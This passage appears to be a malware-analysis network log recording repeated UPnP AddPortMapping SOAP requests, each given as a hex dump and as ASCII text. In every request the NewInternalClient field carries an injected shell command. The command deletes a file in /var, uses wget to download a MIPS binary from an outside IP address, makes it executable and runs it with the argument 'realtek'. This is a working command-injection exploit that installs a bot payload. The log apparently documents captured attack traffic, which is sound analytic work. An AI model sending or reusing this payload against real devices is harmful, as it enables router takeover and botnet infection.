                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:02.906884909 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:04.218652010 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:07.066512108 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:12.442416906 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:22.938061953 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:44.697581053 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
